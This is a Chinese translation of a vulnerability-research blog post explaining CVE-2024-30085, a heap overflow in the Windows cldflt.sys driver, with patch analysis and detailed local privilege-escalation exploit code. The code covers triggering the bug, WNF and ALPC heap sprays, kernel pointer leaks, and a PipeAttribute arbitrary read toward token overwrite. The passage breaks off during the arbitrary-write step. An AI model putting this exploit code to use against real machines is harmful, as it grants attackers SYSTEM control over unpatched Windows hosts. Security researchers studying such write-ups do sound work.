我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物

Cherie securitainment 2025-01-12 09:32

【翻译】All I Want for Christmas is a CVE-2024-30085 Exploit

概述

CVE-2024-30085 是一个影响 Windows 云文件迷你过滤驱动程序cldflt.sys
的基于堆的缓冲区溢出漏洞。通过构造自定义重解析点,可以触发缓冲区溢出来破坏相邻的_WNF_STATE_DATA
对象。被破坏的_WNF_STATE_DATA
对象可用于从 ALPC 句柄表对象中泄露内核指针。然后使用第二次缓冲区溢出来破坏另一个_WNF_STATE_DATA
对象,该对象随后用于破坏相邻的PipeAttribute
对象。通过在用户空间伪造PipeAttribute
对象,我们能够泄露令牌地址并覆盖权限以提升到 NT AUTHORITY\SYSTEM 权限。

目录

  1. cldflt.sys 简介

  2. 漏洞分析与补丁

  3. 重解析点结构

  4. 触发漏洞

  5. 利用概述

  6. 获取内核指针泄露

  7. 任意读取

  8. 权限提升

  9. 漏洞利用演示

cldflt.sys 简介

cldflt.sys
是 Windows 云文件迷你过滤驱动程序,它允许用户在远程服务器和本地客户端之间管理和同步文件。cldflt.sys
通过创建占位符文件和目录工作,这些占位符以重解析点的形式实现。占位符允许文件的实际内容存储在其他位置,并按需检索(称为”hydration”),同时在系统上表现得像普通文件一样。用户可以通过云文件 API 创建和管理占位符。

漏洞分析与补丁

CVE-2024-30085
是由 SSD Secure Disclosure 的 Alex Birnberg 以及 Theori 的 Gwangun Jung 和 Junoh Lee 发现的基于堆的缓冲区溢出漏洞。对于 Windows 10 22H2,此漏洞在
KB5039211
更新中得到修复。

补丁对比

查看补丁对比,很明显HsmIBitmapNORMALOpen
函数已被修改。

HsmIBitmapNORMALOpen 补丁对比

左侧显示的是存在漏洞的驱动程序二进制文件,右侧是修补后的驱动程序二进制文件。从这里我们可以看到,添加了一个额外的代码块cmp r14d, 0x1000
。让我们看看未修补函数的部分反编译代码:

if (local_70 == 0x0) || (0xffe < memcpy_size - 1) {
    Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348); 
    if (Dst == 0x0) {
        HsmDbgBreakOnStatus(-0x3fffff66); 
        ... // Go to error path
    }
    memcpy(Dst, local_70, memcpy_size); 
} else {
    iVar13 = *(int *)((memcpy_size - 4) + (longlong)local_70);
    if (iVar13 == -1) && (memcpy_size == 4) {
        *(uint *)(Dst + 2) = *(uint *)(Dst + 2) | 0x10; 
    } else {
        Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348); // Allocate a HsBm object
        if (Dst == 0x0) {
            HsmDbgBreakOnStatus(-0x3fffff66); 
            ... // Go to error path
        }
    }
    memcpy(Dst, local_70, memcpy_size); // Vulnerable memcpy, we control local_70 and memcpy_size!
    ...
}

驱动程序在分页池中分配大小为 0x1000 的 HsBm 对象,并将大小为 memcpy_size
 的数据复制到已分配的缓冲区中。由于用户能够控制被复制的数据以及 memcpy_size
 的值,如果 memcpy_size
 大于 0x1000,就会在分页池中发生基于堆的缓冲区溢出!

if (((int)uVar7 != 0) && (0x1000 < memcpy_size)) {
    HsmDbgBreakOnStatus(-0x3fff30fe); 
    ... // Go to error path
}

为了修补这个漏洞,添加了一个检查来确定 memcpy_size
 是否小于或等于 0x1000,只有在通过此检查后才会调用 memcpy。

重解析点结构

然而,为了理解如何触发这个漏洞,我们必须首先了解 cldflt 驱动程序用于存储数据的重解析点的结构。

重解析点由重解析标签和用户定义数据组成,其中重解析标签用于标识拥有该重解析点的文件系统驱动程序。在本例中,当我们创建用于利用的文件时,我们将使用 IO_REPARSE_TAG_CLOUD_6
 (0x9000601a) 作为重解析标签。

用户定义数据具有以下结构:

typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    struct {
        UCHAR DataBuffer[1];
    } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

DataBuffer
 具有可变大小,包含由云过滤驱动程序设置的自定义数据,其格式如下:

struct _HSM_REPARSE_DATA {
    USHORT Flags;                       
    USHORT Length;                      
    HSM_DATA FileData;                  
} HSM_REPARSE_DATA, *PHSM_REPARSE_DATA;

当 cldflt.sys
 创建重解析点时,如果数据大小超过 0x100 字节,它会使用 RtlCompressBuffer
 和 COMPRESSION_FORMAT_LZNT1
 压缩格式来压缩数据。如果没有使用压缩,Flags
 设置为 0x1;如果使用了压缩,则设置为 0x8001。Length
 表示整个 _HSM_REPARSE_DATA
 结构的大小。FileData
 的结构如下:

typedef struct _HSM_DATA
{
    ULONG  Magic;                       
    ULONG  Crc32;                      
    ULONG  Length;                      
    USHORT Flags;                       
    USHORT NumberOfElements;            
    HSM_ELEMENT_INFO ElementInfos[1];   
} HSM_DATA, *PHSM_DATA;

对于位图数据,Magic
 被设置为 0x70527442(”BtRp”),对于文件数据则设置为 0x70526546(”FeRp”)。如果存在 CRC32 校验值,它将被包含在结构中。CRC32 是使用 RtlComputeCrc32
 计算得出的。Length
 表示整个 _HSM_DATA
 对象的大小。如果存在 CRC32 校验和值,Flags
 将被设置为 0x2。一个 _HSM_DATA
 结构可以包含多个元素,这些元素采用以下形式:

typedef struct _HSM_ELEMENT_INFO
{
    USHORT Type;                        
    USHORT Length;                      
    ULONG  Offset;                      
} HSM_ELEMENT_INFO, *PHSM_ELEMENT_INFO;

元素可以具有以下类型:

#define HSM_ELEMENT_TYPE_NONE           0x00
#define HSM_ELEMENT_TYPE_UINT64         0x06
#define HSM_ELEMENT_TYPE_BYTE           0x07
#define HSM_ELEMENT_TYPE_UINT32         0x0a
#define HSM_ELEMENT_TYPE_BITMAP         0x11
#define HSM_ELEMENT_TYPE_MAX            0x12

Length
 表示元素数据的大小,而 offset
 是相对于 _HSM_DATA
 结构体起始位置的偏移量。

触发漏洞

让我们来看看触发此漏洞所需的代码路径:

-> HsmFltPostCREATE
    -> HsmiFltPostECPCREATE
        -> HsmpSetupContexts
            -> HsmpCtxCreateStreamContext
                -> HsmIBitmapNORMALOpen

通过打开包含 cldflt 重解析数据的文件,我们可以到达 HsmpCtxCreateStreamContext
。但是,为了到达 HsmIBitmapNORMALOpen
 触发易受攻击的 memcpy
,我们需要通过与 FeRp 对象及其嵌套的 BtRp 对象相关的某些检查。

当到达 HsmpCtxCreateStreamContext
 时,它会调用 HsmpRpValidateBuffer
,该函数将对重解析数据执行检查。它首先检查 _HSM_DATA
 对象的长度和魔数,然后计算其 CRC32。接着检查元素数量以确保其小于 0xa,这是 FeRp 对象的最大元素数量。一旦初始检查通过,函数会遍历所有元素以确保元素偏移量和长度之和不超过数据对象的长度。

完成后,会对每个元素执行检查,通常包括以下内容:
1. 检查元素类型是否在允许的类型范围内(即小于 HSM_ELEMENT_TYPE_MAX
,即 0x12)

  1. 检查元素偏移量

  2. 检查元素大小

在这种情况下,FeRp 对象的元素必须满足以下条件:
– 元素 0 必须是 BYTE 类型 (0x07)

  • 元素 1 必须是 UINT32 类型 (0x0a)

  • 元素 2 必须是 UINT64 类型 (0x06)

  • 元素 4 必须是 BITMAP 类型 (0x11)

然后调用 HsmpBitmapIsReparseBufferSupported
 对嵌套的 BtRp 对象执行检查。执行类似于 FeRp 对象的初始检查,但不计算 CRC32。BtRp 对象允许的最大元素数量是 0x5。这些元素必须满足以下条件:
– 元素 0 必须是 BYTE 类型 (0x07)

  • 元素 1 必须是 BYTE 类型 (0x07)

  • 元素 2 必须是 BYTE 类型 (0x07)

一旦 HsmpBitmapIsReparseBufferSupported
 完成,它返回到 HsmpRpValidateBuffer
,后者返回到 HsmpCtxCreateStreamContext
,最后调用 HsmIBitmapNORMALOpen
。HsmIBitmapNORMALOpen
 也对 BtRp 对象的元素实施检查:
– 元素 1 必须是 BYTE 类型 (0x07),且值必须为 0x1

  • 元素 2 必须是 BYTE 类型 (0x07)

  • 元素 3 必须是 UINT64 类型 (0x06)

  • 元素 4 必须是 BITMAP 类型 (0x11)

一旦满足所有这些条件,我们就能最终到达易受攻击的 memcpy!

为了触发漏洞,我们首先需要使用云过滤器 API 注册一个同步根:

    CF_SYNC_REGISTRATION CfSyncRegistration = { 0 };
    CfSyncRegistration.StructSize = sizeof(CF_SYNC_REGISTRATION);
    CfSyncRegistration.ProviderName = L"FFE4";
    CfSyncRegistration.ProviderVersion = L"1.0";
    CfSyncRegistration.ProviderId = { 0xf4d808a4, 0xa493, 0x4703, { 0xa8, 0xb8, 0xe2, 0x6a, 0x7, 0x7a, 0xd7, 0x3b } };

    CF_SYNC_POLICIES CfSyncPolicies = { 0 };
    CfSyncPolicies.StructSize = sizeof(CF_SYNC_POLICIES);
    CfSyncPolicies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    CfSyncPolicies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    CfSyncPolicies.InSync = CF_INSYNC_POLICY_NONE;
    CfSyncPolicies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    CfSyncPolicies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    hRet = CfRegisterSyncRoot(SyncRoot, &CfSyncRegistration, &CfSyncPolicies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
    if (!SUCCEEDED(hRet)) {
        CfUnregisterSyncRoot(SyncRoot);
        cout << "CfRegisterSyncRoot failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] CfRegisterSyncRoot success: 0x%lx\n", hRet);

然后我们将在同步根目录中创建文件:

    HANDLE hFile1;
    CString FullFileName1 = L"c:\\windows\\temp\\test";
    hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile1 == INVALID_HANDLE_VALUE) {
        cout << "Open file failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] Created exploit file 1: %d\n", hFile1);

最后,我们将使用 FSCTL_SET_REPARSE_POINT_EX
 来设置重解析点数据。

    hBool = DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &RpBufEx, (0x28+CompressedRpBufSize), NULL, 0, NULL, NULL);
    if (hBool == 0) {
        cout << "FSCTL_SET_REPARSE_POINT_EX failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] FSCTL_SET_REPARSE_POINT_EX succeeded\n");

要触发漏洞代码路径,我们只需要重新打开该文件:

    printf("[+] Opening file 1 to trigger vulnerability\n");
    hFile1 = 0;
    hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile1 == INVALID_HANDLE_VALUE) {
        cout << "Open file failed! error=" << GetLastError() << endl;
        return -1;
    }
    printf("[+] File 1 handle: %d\n", hFile1); 

一旦溢出发生,机器就会崩溃!

漏洞利用概述

目前,我们在分页池中有一个大小为 0x1000 的对象溢出。为了提升权限,我们需要一个内核指针泄露,以及任意写入的能力。只要我们能控制内存布局使机器不崩溃,就可以多次触发这个漏洞。因此,我们将触发这个漏洞两次 – 第一次获取内核泄露并获得任意写入原语,第二次获得任意读取以获取令牌地址。

以下是漏洞利用计划:
1. 创建漏洞利用文件 1 并设置大小为 0x1010 的自定义重解析点数据

  1. 喷射填充_WNF_STATE_DATA

  2. 喷射第一组_WNF_STATE_DATA
     对象

  3. 通过释放每隔一个_WNF_STATE_DATA
     对象来制造空洞

  4. 第一次触发漏洞以重新占用其中一个空洞 – 这会破坏_WNF_STATE_DATA
     对象,使我们获得越界读写

  5. 喷射 ALPC 句柄表以重新占用剩余空洞

  6. 通过读取第一个被破坏的_WNF_STATE_DATA
     对象来泄露内核指针

  7. 创建漏洞利用文件 2 并设置大小为 0x1010 的自定义重解析点数据

  8. 喷射第二个填充_WNF_STATE_DATA

  9. 通过释放每隔一个_WNF_STATE_DATA
     对象来制造空洞

  10. 第二次触发漏洞以重新占用其中一个空洞

  11. 喷射 PipeAttribute 以重新占用剩余空洞

  12. 使用第二个被破坏的_WNF_STATE_DATA
     对象破坏 PipeAttribute 对象,使其指向用户空间中的伪造对象 – 这给了我们任意读取

  13. 使用被破坏的 PipeAttribute 对象获取令牌地址

  14. 使用第一个被破坏的_WNF_STATE_DATA
     对象破坏 ALPC 句柄表以获得任意写入

  15. 覆盖令牌权限获得完整权限!

  16. 获取 winlogon 进程的句柄

  17. 弹出 NT AUTHORITY\SYSTEM
     shell!!!

获取内核指针泄露

我们将使用两个内核对象来获取内核指针泄露:_WNF_STATE_DATA
 和_ALPC_HANDLE_TABLE

让我们先看看_WNF_STATE_DATA
:

struct _WNF_STATE_DATA {
    struct _WNF_NODE_HEADER Header;                                         //0x0
    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
}; 

Windows 通知设施 (WNF) 是一个未公开的内核组件,用于在系统中发送通知。用于发送通知的数据存储在_WNF_STATE_DATA
对象中,该对象在分页池中分配,由大小为 0x10 的头部和紧随其后的数据组成。允许的最大 DataSize 为 0x1000,但这对我们来说不会造成问题,因为我们正在处理大小为 0x1000 的对象 (使用 0xff0 的 DataSize 意味着分配的 WNF 对象大小为 0x1000)。

为了准备_WNF_STATE_DATA
喷射,我们可以执行以下操作:

    #define NUM_WNFSTATEDATA 0x450 
    #define WNF_MAXBUFSIZE 0x1000 
    PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;
    WNF_STATE_NAME StateNames[NUM_WNFSTATEDATA] = { 0 };
    PSECURITY_DESCRIPTOR pSD = nullptr;
    NTSTATUS state = 0;
    char StateData[0x1000];

    printf("[+] Prepare _WNF_STATE_DATA spray\n");
    memset(StateData, 0x41, sizeof(StateData));

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr)) {
        cout << "ConvertStringSecurityDescriptorToSecurityDescriptor failed! error=" << GetLastError() << endl;
        return -1;
    }

    for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
        state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, WNF_MAXBUFSIZE, pSD);
        if (state != 0) {
            cout << "NtCreateWnfStateName failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

我们将执行第一次_WNF_STATE_DATA
喷射:

    printf("[+] Spraying _WNF_STATE_DATA\n");
    for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
        state = NtUpdateWnfStateData(&StateNames[i], StateData, (0x1000-0x10), 0, 0, 0, 0);
        if (state != 0) {
            cout << "NtUpdateWnfStateData failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

这将导致分页池中的内存布局如下所示:

Memory 1

之后,我们通过释放每个交替对象来制造空洞:

    printf("[+] Poking holes by freeing every alternate WNF object\n");
    for (int i = 0; i < NUM_WNFSTATEDATA; i = i + 2) {
        NtDeleteWnfStateData(&StateNames[i], NULL);
        state = NtDeleteWnfStateName(&StateNames[i]);
        if (state != 0) {
            return -1;
        }
    }

Memory 2

通过破坏结构体中的 DataSize 字段,可以使用 _WNF_STATE_DATA
 对象实现越界读写。在我们的案例中,通过使用堆溢出将 DataSize 从 0xff0 更改为 0xff8,我们能够获得 8 字节的越界读写。

现在我们将打开漏洞利用文件 1 来触发漏洞,这将把我们的目标对象分配到其中一个空洞中,并溢出到相邻的 _WNF_STATE_DATA
 对象中。

Memory 3

执行的代码路径导致我们的目标对象被释放,但这并不重要,因为 _WNF_STATE_DATA
 对象的损坏已经发生。尽管如此,这就是释放后内存的样子:

Memory 4

现在让我们看看高级本地过程调用(ALPC)。ALPC 是 Windows 内核中一个未公开的内部进程间通信工具。徐世杰、宋建阳和李林双开发了一种
技术
,可以通过可变大小的 _ALPC_HANDLE_TABLE
 对象实现任意读写。

struct _ALPC_HANDLE_TABLE {
    struct _ALPC_HANDLE_ENTRY* Handles;                                     //0x0
    struct _EX_PUSH_LOCK Lock;                                              //0x8
    ULONGLONG TotalHandles;                                                 //0x10
    ULONG Flags;                                                            //0x18
}; 

当创建 ALPC 端口时,会在分页池中初始分配一个大小为 0x80 的 _ALPC_HANDLE_TABLE
 对象。每次调用 NtAlpcCreateResourceReserve
 时,都会创建一个 _KALPC_RESERVE
 数据块,并调用 AlpcAddHandleTableEntry
 将其地址添加到句柄表中。

struct _KALPC_RESERVE {
    struct _ALPC_PORT* OwnerPort;                                           //0x0
    struct _ALPC_HANDLE_TABLE* HandleTable;                                 //0x8
    VOID* Handle;                                                           //0x10
    struct _KALPC_MESSAGE* Message;                                         //0x18
    ULONGLONG Size;                                                         //0x20
    LONG Active;                                                            //0x28
}; 

每当句柄表空间用尽时,对象就会重新分配并将其大小加倍。这意味着句柄表的大小是可变的,从 0x80、0x100、0x200、0x400、0x800、0x1000 等依次递增。因此,通过多次调用NtAlpcCreateResourceReserve
,我们能够在分页池中分配一个大小为 0x1000 的_ALPC_HANDLE_TABLE
对象。

为了准备 ALPC 句柄表喷射,我们可以使用以下
函数
:

BOOL CreateALPCPorts(HANDLE* phPorts, UINT portsCount) {
 ALPC_PORT_ATTRIBUTES serverPortAttr;
 OBJECT_ATTRIBUTES    oaPort;
 HANDLE               hPort;
 NTSTATUS             ntRet;
 UNICODE_STRING       usPortName;
 WCHAR     wszPortName[64];

 for (UINT i = 0; i < portsCount; i++) {
  swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, i);
  RtlInitUnicodeString(&usPortName, wszPortName);
  InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0);
  RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
  serverPortAttr.MaxMessageLength = MAX_MSG_LEN;
  ntRet = NtAlpcCreatePort(&phPorts[i], &oaPort, &serverPortAttr);
  if (!SUCCEEDED(ntRet))
   return FALSE;
 }
 return TRUE;
}

BOOL AllocateALPCReserveHandles(HANDLE* phPorts, UINT portsCount, UINT reservesCount) {
 HANDLE hPort;
 HANDLE hResource;
 NTSTATUS ntRet;

 for (UINT i = 0; i < portsCount; i++) {
  hPort = phPorts[i];
  for (UINT j = 0; j < reservesCount; j++) {
   ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
   if (!SUCCEEDED(ntRet))
    return FALSE;
   if (g_hResource == NULL) { // save only the very first
    g_hResource = hResource;
   }
  }
 }
 return TRUE;
}

在 main 函数中:

    #define NUM_ALPC 0x800
    HANDLE ports[NUM_ALPC];
 CONST UINT portsCount = NUM_ALPC;

    printf("[+] Creating ALPC ports\n");
    bRet = CreateALPCPorts(ports, portsCount);
    if (!bRet) {
        printf("[!] CreateALPCPorts failed\n");
        return -1;
    }

为了喷射 ALPC 句柄表对象:

    printf("[+] Allocating ALPC reserve handles\n");
    bRet = AllocateALPCReserveHandles(ports, portsCount, reservesCount - 1);
    if (!bRet) {
        printf("[!] CreateALPCPorts failed\n");
        return -1;
    }

在调试器中,_ALPC_HANDLE_TABLE
对象的结构如下所示:

ALPC 句柄表

此时,分页池中的内存布局如下:

内存布局 5

为了定位被破坏的_WNF_STATE_DATA
对象并获取内核指针泄露,我们可以执行以下操作:

    WNF_CHANGE_STAMP stamp;
    char WNFOutput[0x2000];
    unsigned long WNFOutputSize = 0x1000;
    int CorruptedWNFidx = -1; 
    state = 0;
    printf("[+] Finding corrupted WNF_STATE_DATA object\n");
    for (int i = 1; i < NUM_WNFSTATEDATA; i = i + 2) {
        memset(WNFOutput, 0x0, sizeof(WNFOutput));
        WNFOutputSize = 0x1000;
        state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &stamp, WNFOutput, &WNFOutputSize);
        printf("    idx: %d, stamp: 0x%lx, state: 0x%lx\n", i, stamp, state);
        if (stamp == 0xcafe) { 
            printf("[+] Found corrupted object idx: %d, stamp: 0x%lx, state: 0x%lx\n", i, stamp, state);
            CorruptedWNFidx = i;
            ALPC_leak = *((unsigned long long *)(WNFOutput + 0xff0));
            printf("[+] KALPC_RESERVE leak: 0x%llx\n", ALPC_leak);
            break;
        }
    }

任意读取

现在我们已经获得了内核指针泄露,我们希望获得任意读取能力以获取令牌地址。为此,我们可以第二次触发漏洞来覆盖第二个_WNF_STATE_DATA
数据对象。和之前一样,我们将喷射_WNF_STATE_DATA
,通过释放每个交替对象来制造空洞,然后触发漏洞导致溢出并破坏相邻的_WNF_STATE_DATA
对象。但这次,我们将喷射PipeAttribute
,并使用被破坏的_WNF_STATE_DATA
来破坏相邻的PipeAttribute
结构。

PipeAttribute
任意读取技术是由 Corentin Bayet 和 Paul Fariello 在他们的论文
Scoop the Windows 10 pool!
中提出的。当创建管道时,用户可以添加属性,这些属性作为键值对存储在链表中。PipeAttribute
是一个可变大小的结构,分配在分页池中,具有以下形式:

struct PipeAttribute { 
    LIST_ENTRY list; 
    char * AttributeName; 
    uint64_t AttributeValueSize; 
    char * AttributeValue; 
    char data[0];
}

为了准备喷射,我们首先需要创建管道:

    printf("[+] Creating pipe objects\n");
    for (int i = 0; i < NUM_PIPEATTR; i++) {
        ret = CreatePipe((PHANDLE)&ReadPipeArr[i], (PHANDLE)&WritePipeArr[i], NULL, 0x0);
        if (ret == 0) {
            cout << "CreatePipe failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

为了喷射PipeAttribute
对象,我们可以执行以下操作:

    memset(PipeData, 0x43, 0x20); 
    memset(PipeData+0x21, 0x43, 0x40);
    printf("[+] Spraying pipe_attribute\n"); 
    for (int i = 0; i < NUM_PIPEATTR; i++) {
        ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x11003c, PipeData, (0x1000-0x30), PipeOutput, 0x100);
        if (ret != 0x0) {
            cout << "NtFsControlFile pipe attribute failed! error=" << GetLastError() << endl;
            return -1;
        }
    }

要从PipeAttribute
中读取数据,我们可以使用控制码 0x110038 调用NtFsControlFile
。这将返回大小为AttributeValueSize
的AttributeValue
给用户。需要注意的是,如果用户再次使用控制码 0x11003c 调用NtFsControlFile
来修改AttributeValue
,旧的PipeAttribute
结构将被释放,并由新的结构取代。

    ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x110038, PipeName, len, PipeData, 0x1000);

在 Windows 上,由于向后兼容性的原因,未启用监督模式访问保护 (SMAP)。因此,内核可以访问用户空间的数据。为了实现任意读取,我们可以使用被破坏的 _WNF_STATE_DATA
 对 PipeAttribute
 的 LIST_ENTRY
 中的 Flink
 指针执行越界写入,使其指向用户空间中的伪造 PipeAttribute
 结构。这样,我们就可以设置 AttributeValueSize
 和 AttributeValue
,从而实现从任意内核地址读取数据。

我们可以在用户空间中设置伪造的 PipeAttribute
 对象,如下所示:

    // Set up fake userland pipe_attribute object 
    *(unsigned long long *)(FakePipe) = (unsigned long long)FakePipe2; // Flink
    *(unsigned long long *)(FakePipe + 0x8) =  (unsigned long long)pipe_leak; // Blink
    *(unsigned long long *)(FakePipe + 0x10) = (unsigned long long)FakePipeName; // Attribute name
    *(unsigned long long *)(FakePipe + 0x18) = 0x30; // Attribute value size -- LEAK SIZE
    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)ALPC_leak; // Attribute value -- LEAK POINTER
    *(unsigned long long *)(FakePipe + 0x28) = 0x4545454545454545; // Data

然后使用我们第二个被破坏的 _WNF_STATE_DATA
 对象来覆写内核内存中相邻 PipeAttribute
 对象的 Flink
 指针:

    // Using WNF object 1 to overwrite flink of pipe_attribute
    printf("[+] Using WNF object 1 to corrupt pipe_attribute\n");
    memset(StateData, 0x0, sizeof(StateData)); 
    memset(StateData, 0x47, 0x200); // Just so that it is easier to see the object
    *(unsigned long long *)(StateData + 0xff0) = (unsigned long long)FakePipe;
    state = NtUpdateWnfStateData(&SecondStateNames[CorruptedWNFidx2], StateData, 0xff8, NULL, NULL, 0xbeef, NULL); 

现在内存布局如下所示:

Memory 6

我们现在可以执行任意读取操作。我们首先要读取的是之前泄露的 _KALPC_RESERVE
 指针。通过读取 _KALPC_RESERVE
,我们可以获得指向 _ALPC_PORT
 结构的指针:

struct _ALPC_PORT
{
    struct _LIST_ENTRY PortListEntry;                                       //0x0
    struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;                     //0x10
    struct _EPROCESS* OwnerProcess;                                         //0x18
    ...
}

执行泄露操作:

    printf("[+] Arbitrary read from corrupted pipe_attribute object\n"); 
    int CorruptedPipeIdx = -1;
    for (int i = 0; i < NUM_PIPEATTR; i++) {
        memset(PipeData, 0x0, sizeof(PipeData)); 
        ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
        if (ret == 0) {
            printf("[+] Reached fake pipe_attribute in userland\n");
            ALPC_port_leak = *((unsigned long long *)(PipeData));
            ALPC_handle_table = ((unsigned long long *)(PipeData))[1];
            ALPC_message_leak = ((unsigned long long *)(PipeData))[3]; 
            CorruptedPipeIdx = i; 
            printf("[+] ALPC port leak: 0x%llx\n", ALPC_port_leak);
            printf("[+] ALPC handle table leak: 0x%llx\n", ALPC_handle_table); 
            printf("[+] ALPC message leak: 0x%llx\n", ALPC_message_leak);
            break;
        }
    }

从 _ALPC_PORT
 结构体中,我们可以获取到 EPROCESS
 的地址。由于 ALPC 端口属于我们当前进程,这个 EPROCESS
 就是我们当前进程的结构体。令牌指针位于 EPROCESS
 偏移量 0x4b8 处,我们可以通过读取 EPROCESS
 来获取它。

执行这些泄露操作:

    // Leak EPROCESS
    printf("[+] Leaking data in ALPC_port\n"); 
    memset(PipeData, 0x0, sizeof(PipeData)); 
    *(unsigned long long *)(FakePipe + 0x18) = 0x1d8; // Attribute value size -- LEAK SIZE
    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(ALPC_port_leak); // Attribute value -- LEAK POINTER
    ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
    EPROCESS_leak = ((unsigned long long *)(PipeData))[3];
    printf("[+] EPROCESS leak: 0x%llx\n", EPROCESS_leak); 

    // Leak token
    int pid = GetCurrentProcessId(); 
    printf("[+] Current PID: 0x%lx\n", pid); 
    memset(PipeData, 0x0, sizeof(PipeData)); 
    *(unsigned long long *)(FakePipe + 0x18) = 0xa40; // Attribute value size -- LEAK SIZE
    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(EPROCESS_leak); // Attribute value -- LEAK POINTER
    ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
    token_leak = ((unsigned long long *)(PipeData))[151] & 0xFFFFFFFFFFFFFFF0; 
    printf("[+] Leaked PID: 0x%lx\n", ((unsigned long long *)(PipeData))[136]); 
    printf("[+] Leaked token: 0x%llx\n", token_leak);

权限提升

现在我们已经获得了令牌地址,终于可以提升权限以获取 NT AUTHORITY\SYSTEM 权限了!

还记得我们用来从 ALPC 句柄表中泄露 _KALPC_RESERVE
 指针的第一个 _WNF_STATE_DATA
 对象吗?我们可以使用相同的 _WNF_STATE_DATA
 对象来将该指针覆盖为指向用户空间中伪造的 _KALPC_RESERVE
 结构的指针。在 _KALPC_RESERVE
 结构中,有一个指向 _KALPC_MESSAGE
 的指针:

struct _KALPC_MESSAGE {
    struct _LIST_ENTRY Entry;                                               //0x0
    struct _ALPC_PORT* PortQueue;                                           //0x10
    struct _ALPC_PORT* OwnerPort;                                           //0x18
    struct _ETHREAD* WaitingThread;                                         //0x20
    union
    {
        struct
        {
            ULONG QueueType:3;                                              //0x28
            ULONG QueuePortType:4;                                          //0x28
            ULONG Canceled:1;                                               //0x28
            ULONG Ready:1;                                                  //0x28
            ULONG ReleaseMessage:1;                                         //0x28
            ULONG SharedQuota:1;                                            //0x28
            ULONG ReplyWaitReply:1;                                         //0x28
            ULONG OwnerPortReference:1;                                     //0x28
            ULONG ReceiverReference:1;                                      //0x28
            ULONG ViewAttributeRetrieved:1;                                 //0x28
            ULONG InDispatch:1;                                             //0x28
            ULONG InCanceledQueue:1;                                        //0x28
        } s1;                                                               //0x28
        ULONG State;                                                        //0x28
    } u1;                                                                   //0x28
    LONG SequenceNo;                                                        //0x2c
    union
    {
        struct _EPROCESS* QuotaProcess;                                     //0x30
        VOID* QuotaBlock;                                                   //0x30
    };
    struct _ALPC_PORT* CancelSequencePort;                                  //0x38
    struct _ALPC_PORT* CancelQueuePort;                                     //0x40
    LONG CancelSequenceNo;                                                  //0x48
    struct _LIST_ENTRY CancelListEntry;                                     //0x50
    struct _KALPC_RESERVE* Reserve;                                         //0x60
    struct _KALPC_MESSAGE_ATTRIBUTES MessageAttributes;                     //0x68
    VOID* DataUserVa;                                                       //0xb0
    struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;                     //0xb8
    struct _ALPC_PORT* ConnectionPort;                                      //0xc0
    struct _ETHREAD* ServerThread;                                          //0xc8
    VOID* WakeReference;                                                    //0xd0
    VOID* WakeReference2;                                                   //0xd8
    VOID* ExtensionBuffer;                                                  //0xe0
    ULONGLONG ExtensionBufferSize;                                          //0xe8
    struct _PORT_MESSAGE PortMessage;                                       //0xf0
}; 

在_KALPC_MESSAGE
结构中,有两个对我们很有价值的字段:ExtensisonBuffer
和ExtensionBufferSize
。当调用NtAlpcSendWaitReceivePort
时,大小为ExtensionBufferSize
的用户可控数据会被写入到ExtensionBuffer
。为了实现任意写入,我们可以让伪造的_KALPC_RESERVE
结构指向一个伪造的_KALPC_MESSAGE
